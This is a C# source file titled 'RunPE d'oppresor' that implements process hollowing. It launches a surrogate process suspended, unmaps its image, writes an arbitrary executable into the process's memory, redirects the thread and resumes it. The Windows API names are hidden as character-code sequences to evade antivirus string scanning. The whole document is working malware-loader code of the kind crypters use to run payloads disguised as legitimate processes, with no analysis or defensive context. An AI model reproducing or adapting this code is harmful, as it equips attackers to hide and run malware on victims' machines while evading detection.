RunPE d’oppresor
RunPE d’oppresssor

using System.Runtime.InteropServices;
using System;
using System.Text;
public class IX
  {
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    internal static extern IntPtr LoadLibraryA([In, MarshalAs(UnmanagedType.LPStr)] string lpFileName);
    [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    delegate bool ESS(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
    delegate bool EXT(IntPtr hThr, uint[] ctxt);
    delegate bool TEX(IntPtr t, uint[] c); //all kernel32
    delegate uint ION(IntPtr hProc, IntPtr baseAddr); //ntdll
    delegate bool ORY(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
    delegate uint EAD(IntPtr hThread); //kernel32.dll
    delegate IntPtr CEX(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
    delegate bool CTEX(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
    delegate bool MOR(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); //kernel32.dll
    delegate bool OP(byte[] bytes, string surrogateProcess);

    public T CreateAPI<T>(string name, string method)
    {
    return (T)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), typeof(T));
    }
    public static bool AA(byte[] bytes, string surrogateProcess)
    {
    IX p = new IX();
    OP F1 = new OP(p.R);
    bool Res = F1(bytes, surrogateProcess);
    return Res;
    }
    public bool R(byte[] bytes, string surrogateProcess)
    {
                String K32 = Convert.ToString((char)107) + (char)101 + (char)114 + (char)110 + (char)101 + (char)108 + (char)51 + (char)50;
                String NTD = Convert.ToString((char)110) + (char)116 + (char)100 + (char)108 + (char)108;
    ESS CP = CreateAPI<ESS>(K32, Convert.ToString((char)67) + (char)114 + (char)101 + (char)97 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)65);
    ION NUVS = CreateAPI<ION>(NTD, Convert.ToString((char)78) + (char)116 + (char)85 + (char)110 + (char)109 + (char)97 + (char)112 + (char)86 + (char)105 + (char)101 + (char)119 + (char)79 + (char)102 + (char)83 + (char)101 + (char)99 + (char)116 + (char)105 + (char)111 + (char)110);
    EXT GTC = CreateAPI<EXT>(K32, Convert.ToString((char)71) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116);
    TEX STC = CreateAPI<TEX>(K32, Convert.ToString((char)83) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116);
    ORY RPM = CreateAPI<ORY>(K32, Convert.ToString((char)82) + (char)101 + (char)97 + (char)100 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121);
    EAD RT = CreateAPI<EAD>(K32, Convert.ToString((char)82) + (char)101 + (char)115 + (char)117 + (char)109 + (char)101 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100);
    CEX VAE = CreateAPI<CEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)65 + (char)108 + (char)108 + (char)111 + (char)99 + (char)69 + (char)120);
    CTEX VPE = CreateAPI<CTEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)80 + (char)114 + (char)111 + (char)116 + (char)101 + (char)99 + (char)116 + (char)69 + (char)120);
    MOR WPM = CreateAPI<MOR>(K32, Convert.ToString((char)87) + (char)114 + (char)105 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121);
    try
    {
    IntPtr procAttr = IntPtr.Zero;
    IntPtr[] processInfo = new IntPtr[4];
    byte[] startupInfo = new byte[0x44];
    int num2 = BitConverter.ToInt32(bytes, 60);
    int num = BitConverter.ToInt16(bytes, num2 + 6);
    IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
    if (CP(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
    {
    uint[] ctxt = new uint[0xb3];
    ctxt[0] = 0x10002;
    if (GTC(processInfo[1], ctxt))
    {
    IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
    IntPtr buffer = IntPtr.Zero;
    IntPtr bufferSize = new IntPtr(4);
    IntPtr numRead = IntPtr.Zero;
    if (RPM(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) && (NUVS(processInfo[0], buffer) == 0))
    {
    IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
    IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
    IntPtr lpBaseAddress = VAE(processInfo[0], addr, size, 0x3000, 0x40);
    int lpNumberOfBytesWritten;
    WPM(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
    int num5 = num - 1;
    for (int i = 0; i <= num5; i++)
    {
    int[] dst = new int[10];
    Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
    byte[] buffer2 = new byte[(dst[4] - 1) + 1];
    Buffer.BlockCopy(bytes, dst[5], buffer2, Convert.ToInt32(null, 2), buffer2.Length);
    size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
    addr = new IntPtr(buffer2.Length);
    WPM(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
    }
    size = new IntPtr(ctxt[0x29] + 8L);
    addr = new IntPtr(4);
    WPM(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
    ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
    STC(processInfo[1], ctxt);
    }
    }
    RT(processInfo[1]);
    }
    }
    catch
    {
    return false;
    }
    return true;
    }
  }